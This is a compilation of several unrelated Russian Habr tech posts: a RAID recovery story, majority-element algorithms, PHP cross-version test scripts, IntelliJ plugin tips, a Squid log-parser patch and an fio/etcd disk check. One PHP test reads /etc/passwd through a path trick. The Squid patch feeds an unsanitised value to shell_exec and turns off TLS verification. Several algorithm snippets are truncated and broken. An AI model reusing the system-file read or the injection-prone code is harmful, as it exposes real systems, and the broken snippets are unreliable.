Перезагрузив какую-то страницу с сервера, я почуял, что что-то не так, часть страницы загрузилась, а дальше все… Ситуацию усугубляло то, что коллега подошел и сказал что у него перестал работать доступ на сервер по smb, а у меня еще и отвалилось соединение по ssh. Стало ясно, что повис не только apache.
«Не проблема», подумал я, «ведь у нас виртуализация, перезагружу vm и дело в шляпе». Да, да именно так. Стоит себе физический сервер, на Ubuntu Server 11.04, внутри которого под qemu запущен еще один Ubuntu Server 11.04, на котором настроены все нужные сервисы. Почему так? Решение было принято более опытным коллегой, который к сожалению уволился, а я не особо силен в системном администрировании. Опущу небольшую часть истории про смену пароля, которого я конечно же не знал :)
Подключился я к серверу физическому, и там:
```
virsh:
list
```
Ок, сервер running, id 1. К терминалу не цепляется (с учетом небольшой паники, я забыл про vnc, но на тот момент он мне не очень бы помог, хотя и был настроен для гостевой OS).
```
virsh:
reboot 1
error: this function is not supported by the hypervisor: virDomainReboot
```
Не ок, но что поделаешь:
```
virsh:
destroy 1
start 1
```
Ждемс. К терминалу все еще не цепляется. ssh соединение не работает. Вобщем сервер не стартует. Многократные попытки destroy/start ни к чему не привели. Отчаявшись, я решил посмотреть на конфигурацию гостевой OS. А там:
```
```
Обрадовался и полез смотреть на это безобразие по vnc. Все дальнейшее выполняется внутри гостевой OS. А там:
```
The disk drive for /some/mounted/folder is not ready yet or not present
Continue to wait; or Press S to skip mounting or M for manual recovery
```
После первого нажатия S, я понял что все похоже очень плохо. После ~~импульсивного нажамания S 100500 раз~~ удержания S в течение секунды, OS продолжил загрузку, но mysql, apache и многие другие демоны не запустились, так как папки вроде /var/lib/mysql оказались непримонтированы. Преодолев логин, я попытался понять, куда все пропало (бекапы у нас есть, вот только очень уж не хотелось весь остаток недели заниматься восстановлением). Присутствие в /etc/fstab и в /dev/ странных записей вроде /dev/md/1\_0 меня насторожило. Гугл подсказал, что это части Software RAID массива. Внутри Ubuntu, Ubuntu, внутри Ubuntu Software RAID… Вот. Частей оказалось 5.
Гугл подсказал, что fsck и mdadm мне в помощь:
```
fsck –nvf /dev/md/1_0
…
fsck –nvf /dev/md/5_0
```
Просим fsck ничего не менять, выводить много ~~мусора~~ интересной информации в консоль и проверить все, даже если файловая система не помечена как поврежденная. Из 5, на 3 оказались ошибки/повреждения ФС.
Дальше я рискнул, и попросил fsck все исправить:
```
fsck –vf /dev/md/1_0
…
fsck –vf /dev/md/1_0
```
В тоже время mdadm для всех устройств говорил:
```
mdadm --detail /dev/md/1_0
…
Raid Level : raid1
…
```
/etc/fstab говорил:
```
…
/dev/md/1_0 /var/www ext3 defaults,noatime 1 2
…
```
Исправления прошли на ура. Осталось понять как заставить все это собраться опять. Перезагрузка не помогла. Сам по себе массив не собрался. Оказалось что названия и маппинг устройств вида /dev/md[xxx] в /dev/md/[yyy] менялись при каждой перезагрузке (в /dev/md/ создаются символические ссылки на /dev/md[xxx]). Поэтому устройства прописанные в /etc/mdadm.conf системой не находились и автоматически не монтировались.
На этом этапе я перестал задаваться вопросом «Как же это раньше работало?», и решительно стал искать какой-то способ связать прописанное в данном файле с тем что я видел в /dev/md/.
И таки нашел:
```
mdadm --detail /dev/md/123_0
…
UUID : 4e9f1a60:4492:11e2:a25f:0800200c9a66
…
less /etc/mdadm.conf
ARRAY /dev/md/1_0 level=raid1 metadata=0.90 num-devices=2 devices=/dev/sda5,/dev/sdb5 UUID=4e9f1a60:4492:11e2:a25f:0800200c9a66
```
Связь найдена (UUID), дело за малым. Назначить найденным в /etc/fstab старым mount point’ам, новые устройства из списка /dev/md[xxx], что и было сделано:
```
mount –a
#Монтирует все описанное в /etc/fstab
```
Перезапустив mysql, apache и прочее, увидев, что содержимое /var/www вернулось и вообще все цветет и пляшет, я таки успокоился и пошел пить кофе. Как оказалось, сервер не дожил 4 дней до года аптайма. Однако нельзя сказать, что проблема решена на 100%. Непонятно поведения при перезагрузке, но теперь уж есть список манипуляций которые надо произвести чтобы все опять заработало. Вопрос к сообществу, а сталкивался ли кто-нибудь с подобным?
На этом вопросе я закончу свой рассказ. Советы, вопросы и комментарии приветствуются.
PS: После вышеописанных работ, у меня возникло желание избавиться от такой кхм, странной конфигурации дисков, но виртуализацию оставить. Заодно, будет повод развить навыки настройки сервера и выпросить у начальства апгрейд памяти для сервера, к которому по аппаратной части нареканий нет (Dell PowerEdge tower). | https://habr.com/ru/post/162423/ | null | ru | null |
# Поиск часто встречающихся элементов в массиве
Задача: в массиве длиной *N* найти элемент, который повторяется больше *N*/2 раз.
Казалось бы, чего тут думать? Возьмём Dictionary<значение элемента, число появлений>, за один проход по массиву сосчитаем появления каждого элемента, потом выберем из словаря искомый элемент. Решение за *O*(*N*), куда может быть ещё быстрее?
Есть один нюанс: для словаря нам потребуется *O*(*N*) дополнительной памяти — в несколько раз больше размера исходного массива, и это при реализации словаря хоть хэш-таблицей, хоть деревом. Что будем делать, если наша цель — обработка сигнала неким устройством с маленькой памятью? Массив — замеры уровня сигнала, из которых один — «настоящий» передаваемый уровень, а остальные — шум и помехи. Неужели придётся для определения «настоящего» уровня возиться с хэш-таблицами и деревьями?
К счастью, нет: достаточно *O*(1) дополнительной памяти, и по-прежнему одного прохода по массиву. Алгоритм Бойера-Мура — тех самых Бойера и Мура, что придумали намного более известный [алгоритм поиска подстроки](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%91%D0%BE%D0%B9%D0%B5%D1%80%D0%B0_%E2%80%94_%D0%9C%D1%83%D1%80%D0%B0) — проще всего представить [следующим образом](http://stackoverflow.com/questions/7059780/find-the-element-repeated-more-than-n-2-times): *на вечеринке собрались* N *людей, и на каждом по одному элементу из массива. Когда встречаются двое, у которых элементы разные, они присаживаются это обсудить. В конце концов останутся стоять только люди с одинаковыми элементами; очевидно, это тот самый элемент, который встречался больше* N*/2 раз.*
[Реализация](http://keithschwarz.com/interesting/code/?dir=majority-element) алгоритма Бойера-Мура занимает всего несколько строк:
```
int* majority(int[] array, int N) {
int confidence = 0; // количество людей, не нашедших пары и оставшихся стоять
int* candidate = NULL; // последний человек, не нашедший пару --
// возможно, его элемент встречается чаще всего
// проходим по массиву и усаживаем пары с разными элементами
for (int i = 0; i 0 ? candidate : NULL;
}
```
В конце мы получаем «наиболее вероятного кандидата» на присутствие в *N*/2 экземплярах: если такой элемент в массиве действительно существует, то он будет найден; если же такого элемента нет, то возможно, стоять останется просто какой-то бедолага, которому не хватило пары. Для более строгой реализации `majority` требуется пройти по массиву второй раз и проверить, действительно ли найденный элемент встречается требуемое количество раз.
Усложним задачу. Теперь в массиве длиной *N* надо найти элементы, которые повторяются больше *N*/3 раз — если есть два, то оба, если есть один, то один.
Например, нашему устройству с маленькой памятью нужно принять двоичный сигнал с неизвестными уровнями нуля и единицы, но известно, что примерно половину времени передаётся ноль, примерно половину времени — единица, а любые отличные от них уровни сигнала — это помехи и дребезг от переключения.
Идею прошлого алгоритма несложно обобщить и для троек: пусть люди с разными элементами рассаживаются по трое. Значит, в конце вечеринки останутся стоять люди максимум с двумя разными элементами. Если какой-то элемент встречался больше *N*/3 раз, значит человек с ним гарантированно останется стоять, ведь сидящих троек получится не больше *N*/3. Как и в прошлом случае, если искомые элементы существуют — то они будут найдены, но если их нет — то найтись может кто попало.
Код мало отличается от предыдущего: по-прежнему один проход по массиву и *O*(1) дополнительной памяти.
```
void majority(int[] array, int N, int** cand1, int** cand2) {
int conf1 = 0, conf2 = 0; // количество стоящих людей с двумя элементами
*cand1 = NULL; *cand2 = NULL; // два стоящих человека с разными элементами
// проходим по массиву и усаживаем тройки с разными элементами
for (int i = 0; i 0 && \*\*cand1 == array[i])
conf1++;
else if (conf2 > 0 && \*\*cand2 == array[i])
conf2++;
else // может, стоят только с одним элементом, или вообще стоящих нет?
if (conf1 == 0) {
\*cand1 = array+i;
conf1++;
} else if (conf2 == 0) {
\*cand2 = array+i;
conf2++;
}
else { // стоят с двумя другими элементами, так что усаживаем всю тройку
conf1--;
conf2--;
}
}
if(conf1 == 0) \*cand1 = NULL;
if(conf2 == 0) \*cand2 = NULL;
}
```
Этот алгоритм [опубликован](http://www.cs.utexas.edu/users/misra/scannedPdf.dir/FindRepeatedElements.pdf) в 1982 американскими учёными Джаядевом Мисрой и Дэвидом Грисом (Jayadev Misra & David Gries), и в их работе используется более скучная метафора — мешок с *N* числами, из которого они извлекают по 3 разных числа за каждую операцию. Кроме того, их псевдокод не похож ни на один понятный современному программисту язык. Мне больше понравилось объяснение их алгоритма в [позапрошлогоднем конспекте лекций](http://www.cs.dartmouth.edu/~ac/Teach/CS49-Fall11/Notes/lecnotes.pdf) американского профессора Амита Чакрабарти.
В наиболее общей форме, когда в массиве длиной *N* надо найти элементы, которые повторяются больше *N*/*k* раз — придётся-таки воспользоваться словарём. Хранить в словаре мы будем только те элементы, с которыми люди стоят — т.е. не больше *k*-1 записей.
```
int[] majority(int[] array, int N, int k) {
// словарь стоящих людей изначально пуст
Dictionary candidates = new Dictionary{};
// проходим по массиву и усаживаем группы по k
for (int i = 0; i
```
В этой наиболее общей форме алгоритма — по-прежнему один проход по массиву и *O*(*k*) дополнительной памяти. Если мы пользуемся для реализации словаря хэш-таблицей, а все записи в словаре свяжем в список — тогда общая сложность алгоритма останется линейной: строчка (\*) с удалением записи из словаря выполняется самое большее *N* раз, ведь на каждой итерации основного цикла в словарь добавляется не больше одной записи. Читателям в качестве упражнения предлагается понять, почему строчка (\*\*) не нарушает линейности алгоритма.
Таким образом наше устройство с маленькой памятью смогло бы общаться с [одним пушистым зверьком](http://habrahabr.ru/post/166377/), недавно препарированным хабраумельцами. Сигналы этого зверька имеют пять логических уровней: полагаем *k*=6, и получаем все пять уровней прямо на ходу, даже без сохранения сигнала в память. Нужно только обеспечить протоколом, чтобы все пять уровней встречались в сигнале одинаково часто.
Для алгоритма Мисры-Гриса упоминаются и другие применения. Например, можно следить в реальном времени за трафиком в сети, и если некий один хост потребляет непропорционально большую часть трафика — начинать расследование. Так же можно следить за кликами по баннерам, за финансовыми транзакциями, за потоком инструкций в моделируемом процессоре… В общем, всюду, где большое число повторений — подозрительная аномалия.
*За оживление текста иллюстрациями надо благодарить [Nitatunarabe](https://habrahabr.ru/users/nitatunarabe/)* | https://habr.com/ru/post/167177/ | null | ru | null |
# Проверка работоспособности кода на множестве версий PHP
Всем доброго времени суток. На днях понадобилось проверить работоспособность 4 вариантов кода на разных версиях PHP (в сумме около 20). Причём изначально было понятно что 4 экземплярами дело не ограничится — в будущем подобных тестов предвидится больше. Вручную всё это делать очень утомительно, поэтому было написано 2 скрипта, которыми я бы хотел с вами поделиться.
Весь рабочий процесс с ними происходит следующим образом. Вы скачиваете в одну папку все необходимые версии PHP, распаковывайте их и собираете. Нужно чтоб получилась следующая структура:
> /some\_dir/.
>
> /some\_dir/php-5.1.6
>
> /some\_dir/php-5.2.17
>
> /some\_dir/php-5.3.1
>
> /some\_dir/...
Где php-5.1.6, php-5.2.17 и т. д. — директории с соответствующими версиями интерпретатора. Далее туда же кладёте 2 скрипта. Первый — run.php
```
php
# Строка, выводимая при успешном выполнении теста.
# Должна совпадать с аналогичной строкой из test.php.
define('TEST_DONE_STR', 'TEST DONE');
define('TEST_PATH', dirname(__FILE__));
define('CLI_PATH', 'sapi/cli/php');
# Ищем директории PHP в текущей папке
$dirs = array();
foreach(scandir('./') as $item) {
if(preg_match("#^php-#", $item) AND is_dir($item)) {
if(file_exists($item . "/sapi/cli/php"))
$dirs[] = $item;
else
print "$item - php-cli not found\n";
}
}
# В каждой из них запускаем test.php
foreach($dirs as $dir) {
$output = array();
exec(TEST_PATH . "/$dir/" . CLI_PATH . " " . TEST_PATH . "/test.php", $output);
print "$dir - " . (implode("", $output) == TEST_DONE_STR ? "OK" : "FAILED") . "\n";
}
</code
```
Как видно из исходников, он сперва обнаружает соседствующие с ним директории PHP по сигнатуре «php-», а затем с помощью cli/php каждой из них выполняет скрипт test.php. Если после выполнения тестового скрипта в stdout падает строчка из константы «TEST\_DONE\_STR» — тест пройден и run.php выведет «php-\*.\*.\* — OK». В ином случае — «php-\*.\*.\* — FAILED».
test.php должен содержать код, который вам необходимо проверить. Он может быть в любом виде. Главное, чтоб в случае успешной отработки выводилась вышеописанная строка. Для примера выкладываю содержимое одного из моих тестов:
```
php
# Строка, выводимая при успешном выполнении теста.
# Должна совпадать с аналогичной строкой из run.php.
define('TEST_DONE_STR', 'TEST DONE');
# Код теста
ob_start();
include("/etc/passwd/../passwd");
$result = ob_get_contents();
ob_end_clean();
# Проверяем верно ли завершился тест
if(substr_count($result, 'root:'))
print TEST_DONE_STR;
</code
```
Пример вывода run.php:
> user@comp:~/php$ php run.php
>
> php-4.3.1 — php-cli not found
>
> php-5.2.16 — php-cli not found
>
> php-5.2.17-suhosin — php-cli not found
>
> php-4.3.10 — OK
>
> php-4.4.9 — OK
>
> php-5.0.5 — OK
>
> php-5.1.6 — OK
>
> php-5.1.6-suhosin — FAILED
>
> php-5.2.0 — OK
>
> php-5.2.17 — OK
>
> php-5.2.2 — OK
>
> php-5.2.3 — OK
>
> php-5.2.4 — OK
>
> php-5.2.9 — OK
>
> php-5.3.0 — FAILED
>
> php-5.3.1 — FAILED
>
> php-5.3.10 — FAILED
>
> php-5.3.20 — FAILED
>
> php-5.3.5 — FAILED
>
>
Надеюсь они будут вам полезны. Мне уже сэкономили кучу времени :) | https://habr.com/ru/post/169311/ | null | ru | null |
# Еще немного про разработку плагинов для IntelliJ
В последнее время на Хабре стали появляться статьи про создание расширений для Intellij IDE — [одна](http://habrahabr.ru/post/148996/), а вот и [другая](http://habrahabr.ru/post/149100/).
Я продолжу эту славную тенденцию и постараюсь описать те места Intellij OpenAPI, которых еще не коснулись; а примером будет [plug-in](http://plugins.jetbrains.com/plugin?pr=idea&pluginId=7088) с веселыми комиксами.
Расширение, на самом деле, занимается всего одной простой вещью — отображает в панельке свежие картинки с моего любимого [Geek&Poke](http://geekandpoke.typepad.com/), периодически выкачивая их с сайта и кэшируя на диск. Исходники, кстати, на [GitHub'e](https://github.com/andy722/idea-comics).
Для особо бдительных — комиксы находятся под доброй лицензией [CC BY-SA 3.0](http://creativecommons.org/licenses/by-sa/3.0/), так что все законно:)
Поскольку само создание проекта, написание `plugin.xml` и другие основные вещи — как и ссылки на соответствующую документацию — уже описаны в вышеупомянутых статьях, повторяться не будем; и я просто опишу несколько возникших у меня при разработке вопросов с их решениями.
#### Поддержка proxy
IntelliJ IDEA (да и другие IDE) умеют подключаться к сети через прокси, настройка подробно описана [в документации](http://www.jetbrains.com/idea/webhelp/http-proxy.html).
А вот чтобы заставить свое расширение использовать глобальные настройки IDE, стоит посмотреть в сторону класса `com.intellij.util.net.HttpConfigurable`. В его публичных полях содержится вся необходимая информация: флаг `USE_HTTP_PROXY`, к примеру, говорит, используем ли мы вообще прокси или нет; а также есть информация о хосте, порте и пользователе.
Проще всего воспользоваться методом `prepareURL`, вызывая его для каждого соединения:
```
/**
* Call this function before every HTTP connection.
* If system configured to use HTTP proxy, this function
* checks all required parameters and ask password if
* required.
* @param url URL for HTTP connection
* @throws IOException
*/
public void prepareURL (String url) throws IOException {
```
Например, в коде для некоторого `url` это может выглядеть так:
```
// Ensure that proxy (if any) is set up for this request.
final HttpConfigurable httpConfigurable = HttpConfigurable.getInstance();
httpConfigurable.prepareURL(url.toExternalForm());
```
На форуме JetBrains [кто-то ругается](http://devnet.jetbrains.net/thread/279485), что этот метод не помогает — но, по-моему, зря они так.
#### Запуск процесса при инициализации plug-in'a
Мне было нужно запустить отдельный поток, который бы периодически проверял главную страницу на наличие обновлений.
В этом поможет `ApplicationComponent`. Типы компонентов и их создание замечательно описаны в документации, в статье [Plugin Structure](http://confluence.jetbrains.net/display/IDEADEV/IntelliJ+IDEA+Plugin+Structure#IntelliJIDEAPluginStructure-PluginComponents).
Добавим в `plugin.xml` наш компонент:
```
com.abelsky.idea.geekandpoke.ComicsPlugin
com.abelsky.idea.geekandpoke.ComicsPlugin
```
А в нем самом определим метод `initComponent`:
```
public class ComicsPlugin implements ApplicationComponent {
private static final int UPDATE_PERIOD = 15 * 60 * 60 * 1000;
// Этот метод будет вызываться один раз при инициализации расширения;
// если бы использовали ProjectComponent - то для каждого проекта.
@Override
public void initComponent() {
startUpdateTimer();
}
private void startUpdateTimer() {
final Timer timer = new Timer("Geek and Poke updater");
timer.schedule(new TimerTask() {
@Override
public void run() {
// А тут что-то делаем каждые 15 минут...
}
}, 0, ComicsPlugin.UPDATE_PERIOD);
}
```
#### Локализация
Для локализации удобно использовать вот такой сниппет:
```
package com.abelsky.idea.geekandpoke.messages;
// ...
public class MessageBundle {
private static Reference bundleRef;
// Сами тексты лежат в com/abelsky/idea/geekandpoke/messages/MessageBundle.properties
// - стандартный key-value .properties-файл.
@NonNls
private static final String BUNDLE = "com.abelsky.idea.geekandpoke.messages.MessageBundle";
private MessageBundle() {
}
public static String message(@PropertyKey(resourceBundle = BUNDLE)String key, Object... params) {
return CommonBundle.message(getBundle(), key, params);
}
private static ResourceBundle getBundle() {
ResourceBundle bundle = null;
if (MessageBundle.bundleRef != null) {
bundle = MessageBundle.bundleRef.get();
}
if (bundle == null) {
bundle = ResourceBundle.getBundle(BUNDLE);
MessageBundle.bundleRef = new SoftReference(bundle);
}
return bundle;
}
}
```
Здесь стоит обратить внимание на несколько моментов.
Первое — храним `ResourceBundle` в [SoftReference](http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/ref/SoftReference.html). Это достаточно распространенная практика в исходниках IDEA — держать как можно больше объектов в не-hard ссылках.
К слову, советую посмотреть на класс `com.intellij.reference.SoftReference` — именно его сами разработчики используют вместо реализации из `java.lang.ref`. Отличие в том, что при подозрениях в утечке памяти `com.intellij.reference.SoftReference` можно быстро переделать в hard-ссылку, а это поможет при профилировании.
Второе — аннотация `org.jetbrains.annotations.PropertyKey`. Она указывает на то, что аннотированный аргумент метода может являться только строкой из указанного в параметре `resourceBundle` бандла. Ее использование добавляет уверенности в том, что ключи в .properties-файле и в коде не рассинхронизировались (да еще и рефакторинг в IDEA многое учится делать, так как появляется связь между ключем и бандлом).
Третье — аннотации `org.jetbrains.annotations.NonNls`/`org.jetbrains.annotations.Nls`, помечающие строки, которые не должны (или, наоборот, должны) быть переведены. Документация от JetBrains по использованию — [здесь](http://www.jetbrains.com/idea/webhelp/extracting-hard-coded-string-literals.html).
#### Нотификации
При некоторых событиях хочется показать красивое уведомление. Такое, например:
Здесь стоит смотреть в сторону класса `com.intellij.notification.Notifications`. Например, так:
```
private void notifyNewEntry() {
final Notification newEntryNotification = new Notification(
/* Группа нотификаций */
MessageBundle.message("notification.new.strip.group"),
/* Заголовок */
MessageBundle.message("notification.new.strip.title"),
/* Содержание */
MessageBundle.message("notification.new.strip.content"),
NotificationType.INFORMATION);
// Не обязательно вызывать из UI-треда - внутри все равно будет сделан invokeLater.
Notifications.Bus.notify(newEntryNotification);
}
```
Группа уведомления отображается в настройках IDE, подробнее — в [документации](http://www.jetbrains.com/idea/webhelp/notifications.html).
#### Настройки
Про то, как сделать страницу настроек для plug-in'a, подробно написано в [документации](http://confluence.jetbrains.net/display/IDEADEV/Customizing+the+IDEA+Settings+Dialog).
Но если вкратце, то, во-первых, регистрируемся в `plugin.xml`:
```
```
Во-вторых, реализуем методы интерфейса `com.intellij.openapi.options.Configurable`. Из них самый важный — `createComponent` — должен вернуть компонент, на котором отображаются наши настройки.
#### Offline cache
Моему plug-in'у понадобилось хранить картинки на диске — в принципе, тот же вопрос встанет и при записи всяких кэшей, которым не место ни в директории проекта, ни в `%TMP%`. Можно, к примеру, записывать их куда-нибудь в `%USERPROFILE%`, а можно сделать интереснее — использовать для этого директорию, в которую сам plug-in установлен.
Расширения по-умолчанию устанавливаются в `%USERPROFILE%/.IdeaIC11/config/plugins/PLUGIN_NAME`; этот путь, впрочем, можно поменять установкой переменной `idea.plugins.path` в `idea.properties`.
```
// PLUGIN_ID - значение элемента id в plugin.xml.
final PluginId id = PluginId.getId(PLUGIN_ID);
final IdeaPluginDescriptor plugin = PluginManager.getPlugin(id);
// Путь к установленному расширению.
File path = plugin.getPath();
```
Полученный путь, к слову, легко может оказаться JAR-файлом — если расширение не распаковано в отдельную директорию.
#### P.S.
Надеюсь, этот короткий FAQ будет полезен начинающим копаться в платформе IntelliJ. А я, тем временем, приступаю к тому, ради чего и начал во всем этом разбираться — IDEA-плагину для поддержки одного очень интересного языка программирования;) | https://habr.com/ru/post/150829/ | null | ru | null |
# Доработка парсера логов Squid для корректного просмотра посещенных HTTPS ресурсов
Всем привет! Я получал, и получаю множество писем от людей с вопросами по Squid, который работает на основе [моей](https://habrahabr.ru/post/267851/) статьи. Наиболее часто возникает вопрос про просмотр логов Squid каким-либо парсером. Проблема в том, что версия Squid 3.5.8 с настроенным прозрачным проксированием HTTPS логирует посещаемые HTTPS ресурсы не в виде доменных имен, а в виде IP адресов с портами (прим. 164.16.43.56:443). Соответственно, при просмотре статистики посещений вместо человеческой информации проскакивают эти самые IP адреса. Собирать статистику с такими данными довольно сложно. Я связывался с разработчиками Squid по этому поводу, но внятного ответа так и не получил. Единственное, что я выяснил, нормальное логирование работает в более новых версиях Squid, но на них прозрачное проксирование лично у меня так и не заработало должным образом. Поэтому возник вопрос о том, как сделать резолв IP адресов в самом парсере логов.
Лично я пользуюсь парсером [Screen Squid](http://break-people.ru/cmsmade/?page=scriptology_screen_squid), и именно в нем я решил попробовать сделать нужные изменения. Так как мне подобный резолв бывает нужен просто при работе в терминале с Bash, я решил весь процесс резолва сделать в виде скрипта на Bash, а в Screen Squid уже средствами PHP его использовать, когда это будет нужно.
Итак, для всего задуманного нам нужны:
1. собственно, сам парсер [Screen Squid](http://break-people.ru/cmsmade/?page=scriptology_screen_squid) (инструкцию по его установке печатать не буду, все есть на оф.сайте).
2. Grep
3. Sed
4. Nslookup
5. Whois
6. Прямые руки
Сам Bash-скрипт представляет из себя следующее:
```
#!/bin/bash
#Единственный входной параметр - ip адрес, запишем его в переменную
IP="$1";
#Пробуем резолвить IP адрес с помощью NSLOOKUP, применяя GREP и SED
#для извлечение из результата нужной нам информации
hostname=$(nslookup $IP | grep -m 1 "name" | sed 's|.*= ||'|sed -r 's/ Auth.+//' | sed 's/^[ \t]*//;s/[ \t]*$//' );
#Если попытка резолва с помощью NSLOOKUP не удалась,
#то узнаем информацию об IP адресе с помощью whois, опять же
#применяя GREP и SED для извлечение из результата нужной нам информации
if [[ "$hostname" == '' ]]; then
hostname=$(whois $IP | grep -m 1 "owner\|OrgName\|orgname\|NetName\|netname\|origin" | sed 's|.*: ||'|sed -r 's/. Auth.+//' | sed 's/^[ \t]*//;s/[ \t]*$//')
fi
#Выводим на экран результат резолва
echo "$hostname"
exit 0;
```
В принципе, он уже откомментирован, описывать здесь особенно и нечего. Мы получаем информацию об IP адресе сначала с помощью Nslookup, параллельно фильтруя вывод команды с помощью grep и sed, чтобы исключить ненужную информацию. Дабы не писать кучу строк, были использованы возможности grep по включению нескольких условий для выборки (символы "**\|**"). Сохраняйте скрипт в любом удобном месте, назначайте ему права на выполнение. Допустим, он сохранен в **/usr/bin** под именем **gethost.sh**.
Скрипт можно использовать просто из терминала:
```
gethost.sh ip_address
```
Далее расскажу, как этот скрипт прикрутить к Screen Squid. Допустим, что установлен он в /var/www/html. В этой папке будет подпапка **reports**, где находится файл **reports.php**. Вот именно в нем необходимо сделать изменения. В этом файле необходимо найти строки:
```
$result=mysql_query($queryOneIpaddressTraffic) or die (mysql_error());
$numrow=1;
$totalmb=0;
while ($line = mysql_fetch_array($result,MYSQL_NUM)) {
echo "|";
echo " ".$numrow." |";
if($enableUseiconv==1)
$line[0]=iconv("CP1251","UTF-8",urldecode($line[0]));
echo " [".$line[0]."](http://".$line[0].") |";
```
И вместо последней строки вставить следующее:
```
//Проверяем, HTTPS ресурс в строке или нет (по наличию символа ':')
//Если символа нет, значит это HTTP ресурс, сразу отображаем на страницу
$dv=strpos($line[0], ":") ;
if ($dv < 1) {
echo " [".$line[0]."](http://".$line[0].") |";
} else
{
// Если же все таки символ ':' присутствует, следовательно это HTTPS ресурс, значит
// производим "колдовские" действия...
// Отделяем IP адрес от всей строки, т.е. все символы до ':'
$str1=strpos($line[0], ":");
$row1=substr($line[0], 0, $str1);
$ipaddress = ltrim($ipaddress);
$ipaddress = $row1;
// Производим резолв IP адреса с помощью скрипта gethost.sh
$hostname = shell_exec('/usr/bin/gethost.sh ' . $ipaddress);
// Выводим в таблицу полученную информацию об IP адресе
echo " [".$hostname."](https://".$ipaddress.") |";
}
```
Код писАлся на скорую руку, но вполне работает. А срабатывает он, когда открывается просмотр отчета «Трафик пользователей IP адреса», лично мне по большей части необходим только такой отчет. При желании, можно добавить подобный код на любые другие отчеты.
Сам код довольно прост: сначала определяется, какой в данный момент ресурс выводится на экран в таблицу: HTTP или HTTPS, и если это HTTPS (определяется по наличию символа ":"), то отделяем IP адрес от порта, передаем IP адрес в скрипт **gethost.sh**, получаем вывод скрипта в виде информации об IP адресе, и выводим на экран.
Были мысли заносить в БД сразу нужные данные, но резолв вышеуказанным образом на этапе заполнения БД приводит к длительному процессу распития кофейных напитков, поэтому я от него отказался.
Ах да, чуть не забыл, скрипт должен быть на том же сервере, где расположен парсер Screen Squid. Ну это так, к слову.
Если есть предложения по улучшению, доработке, переделке данного скрипта, буду рад выслушать.
> **Дополнения:**
Сделал немного по-другому, мне кажется более информативно, как здесь верно подметил товарищ [kbool](https://habrahabr.ru/users/kbool/). Можно получить данные SSL сертификата нужного хоста прямо из PHP, считав оттуда интересующую информацию. Ниже код, который надо вставить в reports.php вместо вышепредложенного:
```
//Проверяем, HTTPS ресурс в строке или нет (по наличию символа ':')
//Если символа нет, значит это HTTP ресурс, сразу отображаем на страницу
$dv=strpos($line[0], ":") ;
if ($dv < 1) {
echo " [".$line[0]."](http://".$line[0].") |";
} else
{
// Если же все таки символ ':' присутствует, следовательно это HTTPS ресурс, значит
// производим "колдовские" действия...
// Отделяем IP адрес от всей строки, т.е. все символы до ':'
$str1=strpos($line[0], ":");
$row1=substr($line[0], 0, $str1);
$ipaddress = ltrim($ipaddress);
$ipaddress = $row1;
// Производим резолв IP адреса
///////////////////////////////////////////////////////////
$options = array(
"ssl" => array(
"capture_peer_cert" => true,
"capture_peer_chain" => true,
"capture_peer_cert_chain" => false,
"verify_peer" => false,
"verify_peer_name" => false,
"allow_self_signed" => false )
);
$get = stream_context_create($options);
$read = stream_socket_client("ssl://".$ipaddress.":443", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $get);
$cert = stream_context_get_params($read);
$certinfo = openssl_x509_parse($cert['options']['ssl']['peer_certificate']);
$certinfo = $certinfo['name'];
$CN=strpos($certinfo,"CN=")+3;
$CN_end=strlen($certinfo);
$hostname = substr($certinfo, $CN, $CN_end);
////////////////////////////////////////////////////////////
// Выводим в таблицу полученную информацию об IP адресе
echo " [".$hostname."](https://".$ipaddress.") |";
}
``` | https://habr.com/ru/post/307686/ | null | ru | null |
# Как с fio проверить диски на достаточную производительность для etcd
***Прим. перев.**: эта статья — итоги мини-исследования, проведенного инженерами IBM Cloud в поисках решения реальной проблемы, связанной с эксплуатацией базы данных etcd. Для нас была актуальна схожая задача, однако ход размышлений и действий авторов может быть интересен и в более широком контексте.*
Краткое резюме всей статьи: fio и etcd
--------------------------------------
Производительность кластера etcd сильно зависит от скорости хранилища, лежащего в его основе. Для контроля за производительностью etcd экспортирует различные метрики Prometheus. Одной из них является `wal_fsync_duration_seconds`. В документации к etcd [говорится](https://github.com/etcd-io/etcd/blob/master/Documentation/faq.md#what-does-the-etcd-warning-failed-to-send-out-heartbeat-on-time-mean), что хранилище можно считать достаточно быстрым, если 99-й процентиль этой метрики не превышает 10 мс…
Если вы обдумываете возможность организации кластера etcd на машинах под управлением Linux и хотите проверить, достаточно ли быстры накопители (например, SSD), рекомендуем воспользоваться популярным тестером I/O под названием [fio](https://github.com/axboe/fio). Достаточно запустить следующую команду (директория `test-data` должна быть расположена в примонтированном разделе тестируемого накопителя):
```
fio --rw=write --ioengine=sync --fdatasync=1 --directory=test-data --size=22m --bs=2300 --name=mytest
```
Осталось лишь посмотреть на вывод и проверить, укладывается ли 99-й процентиль [`fdatasync`](https://linux.die.net/man/2/fdatasync) в 10 мс. Если это так, значит ваш накопитель работает достаточно быстро. Вот пример вывода:
```
fsync/fdatasync/sync_file_range:
sync (usec): min=534, max=15766, avg=1273.08, stdev=1084.70
sync percentiles (usec):
| 1.00th=[ 553], 5.00th=[ 578], 10.00th=[ 594], 20.00th=[ 627],
| 30.00th=[ 709], 40.00th=[ 750], 50.00th=[ 783], 60.00th=[ 1549],
| 70.00th=[ 1729], 80.00th=[ 1991], 90.00th=[ 2180], 95.00th=[ 2278],
| 99.00th=[ 2376], 99.50th=[ 9634], 99.90th=[15795], 99.95th=[15795],
| 99.99th=[15795]
```
Несколько замечаний:
1. В приведенном выше примере мы подстроили параметры `--size` и `--bs` под конкретный случай. Чтобы получить содержательный результат от `fio`, указывайте значения, подходящие для вашего сценария использования. О том, как их выбрать, будет рассказано ниже.
2. Во время тестирования только `fio` нагружает дисковую подсистему. В реальной жизни вполне вероятно, что на диск будут писать и другие процессы (помимо тех, что связаны с `wal_fsync_duration_seconds`). Подобная дополнительная нагрузка может привести к увеличению `wal_fsync_duration_seconds`. Другими словами, если 99-й процентиль, полученный по итогам тестирования с `fio`, лишь слегка меньше 10 мс, велика вероятность, что производительность хранилища недостаточна.
3. **Для теста вам понадобится версия `fio` не ниже 3.5**, поскольку более старые версии не агрегируют результаты `fdatasync` в виде процентилей.
4. Приведенный выше вывод представляет собой лишь небольшой отрывок от общего вывода `fio`.
Подробно о fio и etcd
---------------------
